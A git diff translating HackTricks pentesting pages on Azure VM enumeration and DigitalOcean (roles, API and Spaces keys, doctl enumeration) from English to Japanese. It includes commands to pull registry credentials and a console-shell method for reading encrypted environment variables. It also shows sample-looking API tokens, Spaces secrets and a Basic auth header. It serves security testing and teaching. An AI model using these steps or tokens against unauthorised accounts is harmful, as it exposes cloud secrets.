@@ -2,22 +2,21 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Machines
|
||||
## 仮想マシン
|
||||
|
||||
For more info about Azure Virtual Machines check:
|
||||
Azure仮想マシンに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Exposed vulnerable service
|
||||
### 脆弱なサービスの露出
|
||||
|
||||
A network service that is vulnerable to some RCE.
|
||||
RCEに対して脆弱なネットワークサービス。
|
||||
|
||||
### Public Gallery Images
|
||||
|
||||
A public image might have secrets inside of it:
|
||||
### 公開ギャラリー画像
|
||||
|
||||
公開画像には秘密が含まれている可能性があります:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
@@ -25,11 +24,9 @@ az sig list-community --output table
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
|
||||
### Public Extensions
|
||||
|
||||
This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
|
||||
|
||||
これはより奇妙ですが、不可能ではありません。大企業がその中に機密データを含む拡張機能を置くことがあります:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -37,9 +34,4 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Before start pentesting** a Digital Ocean environment there are a few **basics things you need to know** about how DO works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Digital Ocean環境のペンテストを始める前に**、DOの動作について知っておくべき**基本的なこと**がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。
|
||||
|
||||
Concepts such as hierarchy, access and other basic concepts are explained in:
|
||||
階層、アクセス、その他の基本的な概念については、以下に説明されています:
|
||||
|
||||
{{#ref}}
|
||||
do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Basic Enumeration
|
||||
## 基本的な列挙
|
||||
|
||||
### SSRF
|
||||
|
||||
@@ -20,28 +20,22 @@ do-basic-information.md
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Projects
|
||||
### プロジェクト
|
||||
|
||||
To get a list of the projects and resources running on each of them from the CLI check:
|
||||
CLIから各プロジェクトで実行されているプロジェクトとリソースのリストを取得するには、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
do-services/do-projects.md
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
|
||||
```bash
|
||||
doctl account get
|
||||
```
|
||||
|
||||
## Services Enumeration
|
||||
## サービス列挙
|
||||
|
||||
{{#ref}}
|
||||
do-services/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,139 +1,127 @@
|
||||
# DO - Basic Information
|
||||
# DO - 基本情報
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean is a **cloud computing platform that provides users with a variety of services**, including virtual private servers (VPS) and other resources for building, deploying, and managing applications. **DigitalOcean's services are designed to be simple and easy to use**, making them **popular among developers and small businesses**.
|
||||
DigitalOceanは、**ユーザーにさまざまなサービスを提供するクラウドコンピューティングプラットフォーム**です。これには、仮想プライベートサーバー(VPS)や、アプリケーションの構築、展開、管理のためのその他のリソースが含まれます。**DigitalOceanのサービスはシンプルで使いやすいように設計されており、**開発者や小規模ビジネスの間で**人気があります**。
|
||||
|
||||
Some of the key features of DigitalOcean include:
|
||||
DigitalOceanの主な機能には以下が含まれます:
|
||||
|
||||
- **Virtual private servers (VPS)**: DigitalOcean provides VPS that can be used to host websites and applications. These VPS are known for their simplicity and ease of use, and can be quickly and easily deployed using a variety of pre-built "droplets" or custom configurations.
|
||||
- **Storage**: DigitalOcean offers a range of storage options, including object storage, block storage, and managed databases, that can be used to store and manage data for websites and applications.
|
||||
- **Development and deployment tools**: DigitalOcean provides a range of tools that can be used to build, deploy, and manage applications, including APIs and pre-built droplets.
|
||||
- **Security**: DigitalOcean places a strong emphasis on security, and offers a range of tools and features to help users keep their data and applications safe. This includes encryption, backups, and other security measures.
|
||||
- **仮想プライベートサーバー(VPS)**:DigitalOceanは、ウェブサイトやアプリケーションをホストするために使用できるVPSを提供しています。これらのVPSは、そのシンプルさと使いやすさで知られており、さまざまな事前構築された「ドロップレット」やカスタム構成を使用して迅速かつ簡単に展開できます。
|
||||
- **ストレージ**:DigitalOceanは、オブジェクトストレージ、ブロックストレージ、管理されたデータベースなど、ウェブサイトやアプリケーションのデータを保存および管理するために使用できるさまざまなストレージオプションを提供しています。
|
||||
- **開発および展開ツール**:DigitalOceanは、APIや事前構築されたドロップレットを含む、アプリケーションを構築、展開、管理するために使用できるさまざまなツールを提供しています。
|
||||
- **セキュリティ**:DigitalOceanはセキュリティを重視しており、ユーザーがデータやアプリケーションを安全に保つためのさまざまなツールや機能を提供しています。これには、暗号化、バックアップ、その他のセキュリティ対策が含まれます。
|
||||
|
||||
Overall, DigitalOcean is a cloud computing platform that provides users with the tools and resources they need to build, deploy, and manage applications in the cloud. Its services are designed to be simple and easy to use, making them popular among developers and small businesses.
|
||||
全体として、DigitalOceanは、ユーザーがクラウドでアプリケーションを構築、展開、管理するために必要なツールとリソースを提供するクラウドコンピューティングプラットフォームです。そのサービスはシンプルで使いやすいように設計されており、開発者や小規模ビジネスの間で人気があります。
|
||||
|
||||
### Main Differences from AWS
|
||||
### AWSとの主な違い
|
||||
|
||||
One of the main differences between DigitalOcean and AWS is the **range of services they offer**. **DigitalOcean focuses on providing simple** and easy-to-use virtual private servers (VPS), storage, and development and deployment tools. **AWS**, on the other hand, offers a **much broader range of services**, including VPS, storage, databases, machine learning, analytics, and many other services. This means that AWS is more suitable for complex, enterprise-level applications, while DigitalOcean is more suited to small businesses and developers.
|
||||
DigitalOceanとAWSの主な違いの1つは、**提供するサービスの範囲**です。**DigitalOceanはシンプルで**使いやすい仮想プライベートサーバー(VPS)、ストレージ、開発および展開ツールの提供に焦点を当てています。**AWS**は、VPS、ストレージ、データベース、機械学習、分析、その他多くのサービスを含む**はるかに広範なサービスを提供しています**。これは、AWSが複雑なエンタープライズレベルのアプリケーションにより適している一方で、DigitalOceanは小規模ビジネスや開発者により適していることを意味します。
|
||||
|
||||
Another key difference between the two platforms is the **pricing structure**. **DigitalOcean's pricing is generally more straightforward and easier** to understand than AWS, with a range of pricing plans that are based on the number of droplets and other resources used. AWS, on the other hand, has a more complex pricing structure that is based on a variety of factors, including the type and amount of resources used. This can make it more difficult to predict costs when using AWS.
|
||||
2つのプラットフォームのもう1つの重要な違いは、**価格構造**です。**DigitalOceanの価格は一般的により明確で理解しやすい**もので、使用するドロップレットやその他のリソースの数に基づいたさまざまな価格プランがあります。一方、AWSは、使用するリソースの種類や量など、さまざまな要因に基づいたより複雑な価格構造を持っています。これにより、AWSを使用する際のコスト予測が難しくなることがあります。
|
||||
|
||||
## Hierarchy
|
||||
## 階層
|
||||
|
||||
### User
|
||||
### ユーザー
|
||||
|
||||
A user is what you expect, a user. He can **create Teams** and **be a member of different teams.**
|
||||
ユーザーは、あなたが期待する通りのユーザーです。彼は**チームを作成**し、**異なるチームのメンバーになることができます。**
|
||||
|
||||
### **Team**
|
||||
### **チーム**
|
||||
|
||||
A team is a group of **users**. When a user creates a team he has the **role owner on that team** and he initially **sets up the billing info**. **Other** user can then be **invited** to the team.
|
||||
チームは**ユーザーのグループ**です。ユーザーがチームを作成すると、彼はそのチームの**オーナーの役割を持ち**、最初に**請求情報を設定します**。**他の**ユーザーはそのチームに**招待される**ことができます。
|
||||
|
||||
Inside the team there might be several **projects**. A project is just a **set of services running**. It can be used to **separate different infra stages**, like prod, staging, dev...
|
||||
チーム内にはいくつかの**プロジェクト**が存在する場合があります。プロジェクトは単に**実行中のサービスのセット**です。これは、prod、staging、devなど、異なるインフラの段階を**分離するために使用できます**。
|
||||
|
||||
### Project
|
||||
### プロジェクト
|
||||
|
||||
As explained, a project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
A Digital Ocean project is very similar to a GCP project without IAM.
|
||||
前述のように、プロジェクトはすべての**サービス**(ドロップレット、スペース、データベース、Kubernetesなど)が**一緒に実行されるためのコンテナ**です。\
|
||||
Digital Oceanのプロジェクトは、IAMなしのGCPプロジェクトに非常に似ています。
|
||||
|
||||
## Permissions
|
||||
## 権限
|
||||
|
||||
### Team
|
||||
### チーム
|
||||
|
||||
Basically all members of a team have **access to the DO resources in all the projects created within the team (with more or less privileges).**
|
||||
基本的に、チームのすべてのメンバーは、**チーム内で作成されたすべてのプロジェクトのDOリソースにアクセスできます(特権の有無にかかわらず)。**
|
||||
|
||||
### Roles
|
||||
### 役割
|
||||
|
||||
Each **user inside a team** can have **one** of the following three **roles** inside of it:
|
||||
チーム内の各**ユーザー**は、次の3つの**役割**のいずれかを持つことができます:
|
||||
|
||||
| Role | Shared Resources | Billing Information | Team Settings |
|
||||
| ---------- | ---------------- | ------------------- | ------------- |
|
||||
| **Owner** | Full access | Full access | Full access |
|
||||
| **Biller** | No access | Full access | No access |
|
||||
| **Member** | Full access | No access | No access |
|
||||
| 役割 | 共有リソース | 請求情報 | チーム設定 |
|
||||
| ---------- | ------------ | --------- | ---------- |
|
||||
| **オーナー** | フルアクセス | フルアクセス | フルアクセス |
|
||||
| **ビラー** | アクセスなし | フルアクセス | アクセスなし |
|
||||
| **メンバー** | フルアクセス | アクセスなし | アクセスなし |
|
||||
|
||||
**Owner** and **member can list the users** and check their **roles** (biller cannot).
|
||||
**オーナー**と**メンバーはユーザーをリストし**、その**役割を確認できます**(ビラーはできません)。
|
||||
|
||||
## Access
|
||||
## アクセス
|
||||
|
||||
### Username + password (MFA)
|
||||
### ユーザー名 + パスワード(MFA)
|
||||
|
||||
As in most of the platforms, in order to access to the GUI you can use a set of **valid username and password** to **access** the cloud **resources**. Once logged in you can see **all the teams you are part** of in [https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile).\
|
||||
And you can see all your activity in [https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity).
|
||||
ほとんどのプラットフォームと同様に、GUIにアクセスするには、**有効なユーザー名とパスワードのセット**を使用して**クラウドリソースにアクセス**できます。ログインすると、[https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile)で**自分が参加しているすべてのチーム**を見ることができます。\
|
||||
また、[https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity)で自分のすべての活動を見ることができます。
|
||||
|
||||
**MFA** can be **enabled** in a user and **enforced** for all the users in a **team** to access the team.
|
||||
**MFA**はユーザーに**有効化**でき、**チーム**内のすべてのユーザーに**強制**してチームにアクセスさせることができます。
|
||||
|
||||
### API keys
|
||||
|
||||
In order to use the API, users can **generate API keys**. These will always come with Read permissions but **Write permission are optional**.\
|
||||
The API keys look like this:
|
||||
### APIキー
|
||||
|
||||
APIを使用するために、ユーザーは**APIキーを生成**できます。これらは常に読み取り権限が付与されますが、**書き込み権限はオプションです**。\
|
||||
APIキーは次のようになります:
|
||||
```
|
||||
dop_v1_1946a92309d6240274519275875bb3cb03c1695f60d47eaa1532916502361836
|
||||
```
|
||||
|
||||
The cli tool is [**doctl**](https://github.com/digitalocean/doctl#installing-doctl). Initialise it (you need a token) with:
|
||||
|
||||
CLIツールは[**doctl**](https://github.com/digitalocean/doctl#installing-doctl)です。これを初期化します(トークンが必要です):
|
||||
```bash
|
||||
doctl auth init # Asks for the token
|
||||
doctl auth init --context my-context # Login with a different token
|
||||
doctl auth list # List accounts
|
||||
```
|
||||
デフォルトでは、このトークンはMacの`/Users/<username>/Library/Application Support/doctl/config.yaml`に平文で書き込まれます。
|
||||
|
||||
By default this token will be written in clear-text in Mac in `/Users/<username>/Library/Application Support/doctl/config.yaml`.
|
||||
### スペースアクセスキー
|
||||
|
||||
### Spaces access keys
|
||||
|
||||
These are keys that give **access to the Spaces** (like S3 in AWS or Storage in GCP).
|
||||
|
||||
They are composed by a **name**, a **keyid** and a **secret**. An example could be:
|
||||
これらは**スペースへのアクセス**を提供するキーです(AWSのS3やGCPのStorageのように)。
|
||||
|
||||
それらは**名前**、**keyid**、および**秘密**で構成されています。例としては次のようになります:
|
||||
```
|
||||
Name: key-example
|
||||
Keyid: DO00ZW4FABSGZHAABGFX
|
||||
Secret: 2JJ0CcQZ56qeFzAJ5GFUeeR4Dckarsh6EQSLm87MKlM
|
||||
```
|
||||
### OAuthアプリケーション
|
||||
|
||||
### OAuth Application
|
||||
OAuthアプリケーションは**Digital Oceanへのアクセスを許可**されることがあります。
|
||||
|
||||
OAuth applications can be granted **access over Digital Ocean**.
|
||||
[https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications)で**OAuthアプリケーションを作成**し、[https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access)で全ての**許可されたOAuthアプリケーション**を確認することができます。
|
||||
|
||||
It's possible to **create OAuth applications** in [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) and check all **allowed OAuth applications** in [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access).
|
||||
### SSHキー
|
||||
|
||||
### SSH Keys
|
||||
[https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security)の**コンソール**から**Digital OceanチームにSSHキーを追加**することができます。
|
||||
|
||||
It's possible to add **SSH keys to a Digital Ocean Team** from the **console** in [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
|
||||
このようにして、**新しいドロップレットを作成すると、SSHキーが設定**され、パスワードなしで**SSH経由でログイン**できるようになります(新しく[アップロードされたSSHキーはセキュリティ上の理由から既存のドロップレットには設定されません](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/))。
|
||||
|
||||
This way, if you create a **new droplet, the SSH key will be set** on it and you will be able to **login via SSH** without password (note that newly [uploaded SSH keys aren't set in already existent droplets for security reasons](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
|
||||
|
||||
### Functions Authentication Token
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
### 関数認証トークン
|
||||
|
||||
**REST API経由で関数をトリガーする方法**(常に有効で、cliが使用する方法)は、**認証トークン**を使ってリクエストをトリガーすることです。
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
## ログ
|
||||
|
||||
## Logs
|
||||
### ユーザーログ
|
||||
|
||||
### User logs
|
||||
**ユーザーのログ**は[**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)にあります。
|
||||
|
||||
The **logs of a user** can be found in [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
|
||||
### チームログ
|
||||
|
||||
### Team logs
|
||||
**チームのログ**は[**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)にあります。
|
||||
|
||||
The **logs of a team** can be found in [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
# DO - Permissions for a Pentest
|
||||
# DO - ペンテストのための権限
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
DO doesn't support granular permissions. So the **minimum role** that allows a user to review all the resources is **member**. A pentester with this permission will be able to perform harmful activities, but it's what it's.
|
||||
DOは細かい権限をサポートしていません。したがって、ユーザーがすべてのリソースを確認できる**最小の役割**は**メンバー**です。この権限を持つペンテスターは有害な活動を行うことができますが、それが現実です。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,19 @@
|
||||
# DO - Services
|
||||
# DO - サービス
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
DO offers a few services, here you can find how to **enumerate them:**
|
||||
DOはいくつかのサービスを提供しています。ここではそれらを**列挙する方法**を見つけることができます:
|
||||
|
||||
- [**Apps**](do-apps.md)
|
||||
- [**Container Registry**](do-container-registry.md)
|
||||
- [**Databases**](do-databases.md)
|
||||
- [**Droplets**](do-droplets.md)
|
||||
- [**Functions**](do-functions.md)
|
||||
- [**Images**](do-images.md)
|
||||
- [**アプリ**](do-apps.md)
|
||||
- [**コンテナレジストリ**](do-container-registry.md)
|
||||
- [**データベース**](do-databases.md)
|
||||
- [**ドロップレット**](do-droplets.md)
|
||||
- [**関数**](do-functions.md)
|
||||
- [**イメージ**](do-images.md)
|
||||
- [**Kubernetes (DOKS)**](do-kubernetes-doks.md)
|
||||
- [**Networking**](do-networking.md)
|
||||
- [**Projects**](do-projects.md)
|
||||
- [**Spaces**](do-spaces.md)
|
||||
- [**Volumes**](do-volumes.md)
|
||||
- [**ネットワーキング**](do-networking.md)
|
||||
- [**プロジェクト**](do-projects.md)
|
||||
- [**スペース**](do-spaces.md)
|
||||
- [**ボリューム**](do-volumes.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform is a Platform-as-a-Service (PaaS) offering that allows developers to **publish code directly to DigitalOcean** servers without worrying about the underlying infrastructure.
|
||||
[ドキュメントから:](https://docs.digitalocean.com/glossary/app-platform/) App Platformは、開発者が**DigitalOcean**サーバーに直接コードを**公開**できるプラットフォーム・アズ・ア・サービス(PaaS)です。基盤となるインフラストラクチャについて心配する必要はありません。
|
||||
|
||||
You can run code directly from **github**, **gitlab**, **docker hub**, **DO container registry** (or a sample app).
|
||||
**github**、**gitlab**、**docker hub**、**DOコンテナレジストリ**(またはサンプルアプリ)から直接コードを実行できます。
|
||||
|
||||
When defining an **env var** you can set it as **encrypted**. The only way to **retreive** its value is executing **commands** inside the host runnig the app.
|
||||
**env var**を定義する際には、**暗号化**されたものとして設定できます。その値を**取得**する唯一の方法は、アプリを実行しているホスト内で**コマンド**を実行することです。
|
||||
|
||||
An **App URL** looks like this [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### Enumeration
|
||||
**App URL**は次のようになります [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
doctl apps list # You should get URLs here
|
||||
doctl apps spec get <app-id> # Get yaml (including env vars, might be encrypted)
|
||||
@@ -21,18 +20,13 @@ doctl apps logs <app-id> # Get HTTP logs
|
||||
doctl apps list-alerts <app-id> # Get alerts
|
||||
doctl apps list-regions # Get available regions and the default one
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apps doesn't have metadata endpoint**
|
||||
> **アプリにはメタデータエンドポイントがありません**
|
||||
|
||||
### RCE & Encrypted env vars
|
||||
### RCE & 暗号化された環境変数
|
||||
|
||||
To execute code directly in the container executing the App you will need **access to the console** and go to **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
|
||||
アプリを実行しているコンテナ内で直接コードを実行するには、**コンソールへのアクセス**が必要で、**`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**に移動します。
|
||||
|
||||
That will give you a **shell**, and just executing **`env`** you will be able to see **all the env vars** (including the ones defined as **encrypted**).
|
||||
これにより、**シェル**が得られ、**`env`**を実行することで、**すべての環境変数**(**暗号化**されたものを含む)を見ることができます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean Container Registry is a service provided by DigitalOcean that **allows you to store and manage Docker images**. It is a **private** registry, which means that the images that you store in it are only accessible to you and users that you grant access to. This allows you to securely store and manage your Docker images, and use them to deploy containers on DigitalOcean or any other environment that supports Docker.
|
||||
DigitalOcean Container Registryは、**Dockerイメージを保存および管理することを可能にする**、DigitalOceanが提供するサービスです。これは**プライベート**レジストリであり、保存したイメージはあなたと、あなたがアクセスを許可したユーザーのみがアクセスできます。これにより、Dockerイメージを安全に保存および管理し、DigitalOceanやDockerをサポートする他の環境でコンテナをデプロイするために使用できます。
|
||||
|
||||
When creating a Container Registry it's possible to **create a secret with pull images access (read) over it in all the namespaces** of Kubernetes clusters.
|
||||
|
||||
### Connection
|
||||
Container Registryを作成する際には、Kubernetesクラスターのすべてのネームスペースで**プルイメージアクセス(読み取り)を持つシークレットを作成することが可能です**。
|
||||
|
||||
### 接続
|
||||
```bash
|
||||
# Using doctl
|
||||
doctl registry login
|
||||
@@ -19,9 +18,7 @@ docker login registry.digitalocean.com
|
||||
Username: <paste-api-token>
|
||||
Password: <paste-api-token>
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Get creds to access the registry from the API
|
||||
doctl registry docker-config
|
||||
@@ -29,9 +26,4 @@ doctl registry docker-config
|
||||
# List
|
||||
doctl registry repository list-v2
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,19 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
With DigitalOcean Databases, you can easily **create and manage databases in the cloud** without having to worry about the underlying infrastructure. The service offers a variety of database options, including **MySQL**, **PostgreSQL**, **MongoDB**, and **Redis**, and provides tools for administering and monitoring your databases. DigitalOcean Databases is designed to be highly scalable, reliable, and secure, making it an ideal choice for powering modern applications and websites.
|
||||
DigitalOcean Databasesを使用すると、基盤となるインフラストラクチャを気にすることなく、**クラウド内でデータベースを簡単に作成および管理**できます。このサービスは、**MySQL**、**PostgreSQL**、**MongoDB**、および**Redis**など、さまざまなデータベースオプションを提供し、データベースの管理および監視のためのツールを提供します。DigitalOcean Databasesは、高いスケーラビリティ、信頼性、およびセキュリティを備えており、現代のアプリケーションやウェブサイトを支える理想的な選択肢です。
|
||||
|
||||
### Connections details
|
||||
### 接続の詳細
|
||||
|
||||
When creating a database you can select to configure it **accessible from a public network**, or just from inside a **VPC**. Moreover, it request you to **whitelist IPs that can access it** (your IPv4 can be one).
|
||||
|
||||
The **host**, **port**, **dbname**, **username**, and **password** are shown in the **console**. You can even download the AD certificate to connect securely.
|
||||
データベースを作成する際に、**パブリックネットワークからアクセス可能**にするか、**VPC**内からのみアクセス可能にするかを選択できます。さらに、**アクセスできるIPをホワイトリストに登録する**必要があります(あなたのIPv4がその一つになる可能性があります)。
|
||||
|
||||
**ホスト**、**ポート**、**dbname**、**ユーザー名**、および**パスワード**は、**コンソール**に表示されます。安全に接続するためにAD証明書をダウンロードすることもできます。
|
||||
```bash
|
||||
sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Databse clusters
|
||||
doctl databases list
|
||||
@@ -39,9 +36,4 @@ doctl databases backups <db-id> # List backups of DB
|
||||
# Pools
|
||||
doctl databases pool list <db-id> # List pools of DB
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,47 +2,46 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
In DigitalOcean, a "droplet" is a v**irtual private server (VPS)** that can be used to host websites and applications. A droplet is a **pre-configured package of computing resources**, including a certain amount of CPU, memory, and storage, that can be quickly and easily deployed on DigitalOcean's cloud infrastructure.
|
||||
DigitalOceanにおいて、「ドロップレット」はv**irtual private server (VPS)**であり、ウェブサイトやアプリケーションをホストするために使用できます。ドロップレットは、特定のCPU、メモリ、ストレージの量を含む**事前構成されたコンピューティングリソースのパッケージ**であり、DigitalOceanのクラウドインフラストラクチャ上に迅速かつ簡単に展開できます。
|
||||
|
||||
You can select from **common OS**, to **applications** already running (such as WordPress, cPanel, Laravel...), or even upload and use **your own images**.
|
||||
**一般的なOS**や、すでに稼働している**アプリケーション**(WordPress、cPanel、Laravelなど)を選択することができ、または**自分のイメージ**をアップロードして使用することもできます。
|
||||
|
||||
Droplets support **User data scripts**.
|
||||
ドロップレットは**ユーザーデータスクリプト**をサポートしています。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Difference between a snapshot and a backup</summary>
|
||||
<summary>スナップショットとバックアップの違い</summary>
|
||||
|
||||
In DigitalOcean, a snapshot is a point-in-time copy of a Droplet's disk. It captures the state of the Droplet's disk at the time the snapshot was taken, including the operating system, installed applications, and all the files and data on the disk.
|
||||
DigitalOceanにおいて、スナップショットはドロップレットのディスクの時点コピーです。スナップショットが取得された時点でのドロップレットのディスクの状態をキャプチャし、オペレーティングシステム、インストールされたアプリケーション、ディスク上のすべてのファイルとデータを含みます。
|
||||
|
||||
Snapshots can be used to create new Droplets with the same configuration as the original Droplet, or to restore a Droplet to the state it was in when the snapshot was taken. Snapshots are stored on DigitalOcean's object storage service, and they are incremental, meaning that only the changes since the last snapshot are stored. This makes them efficient to use and cost-effective to store.
|
||||
スナップショットは、元のドロップレットと同じ構成の新しいドロップレットを作成するためや、スナップショットが取得された時点の状態にドロップレットを復元するために使用できます。スナップショットはDigitalOceanのオブジェクトストレージサービスに保存され、増分であるため、最後のスナップショット以降の変更のみが保存されます。これにより、効率的に使用でき、コスト効果も高くなります。
|
||||
|
||||
On the other hand, a backup is a complete copy of a Droplet, including the operating system, installed applications, files, and data, as well as the Droplet's settings and metadata. Backups are typically performed on a regular schedule, and they capture the entire state of a Droplet at a specific point in time.
|
||||
一方、バックアップはドロップレットの完全なコピーであり、オペレーティングシステム、インストールされたアプリケーション、ファイル、データ、さらにドロップレットの設定とメタデータを含みます。バックアップは通常、定期的に実行され、特定の時点でのドロップレットの全体の状態をキャプチャします。
|
||||
|
||||
Unlike snapshots, backups are stored in a compressed and encrypted format, and they are transferred off of DigitalOcean's infrastructure to a remote location for safekeeping. This makes backups ideal for disaster recovery, as they provide a complete copy of a Droplet that can be restored in the event of data loss or other catastrophic events.
|
||||
スナップショットとは異なり、バックアップは圧縮され暗号化された形式で保存され、DigitalOceanのインフラストラクチャからリモートの場所に転送されて安全に保管されます。これにより、バックアップは災害復旧に理想的であり、データ損失やその他の重大なイベントが発生した場合に復元できるドロップレットの完全なコピーを提供します。
|
||||
|
||||
In summary, snapshots are point-in-time copies of a Droplet's disk, while backups are complete copies of a Droplet, including its settings and metadata. Snapshots are stored on DigitalOcean's object storage service, while backups are transferred off of DigitalOcean's infrastructure to a remote location. Both snapshots and backups can be used to restore a Droplet, but snapshots are more efficient to use and store, while backups provide a more comprehensive backup solution for disaster recovery.
|
||||
要約すると、スナップショットはドロップレットのディスクの時点コピーであり、バックアップはドロップレットの完全なコピーで、設定とメタデータを含みます。スナップショットはDigitalOceanのオブジェクトストレージサービスに保存され、バックアップはDigitalOceanのインフラストラクチャからリモートの場所に転送されます。スナップショットとバックアップの両方はドロップレットを復元するために使用できますが、スナップショットは使用と保存がより効率的であり、バックアップは災害復旧のためのより包括的なバックアップソリューションを提供します。
|
||||
|
||||
</details>
|
||||
|
||||
### Authentication
|
||||
### 認証
|
||||
|
||||
For authentication it's possible to **enable SSH** through username and **password** (password defined when the droplet is created). Or **select one or more of the uploaded SSH keys**.
|
||||
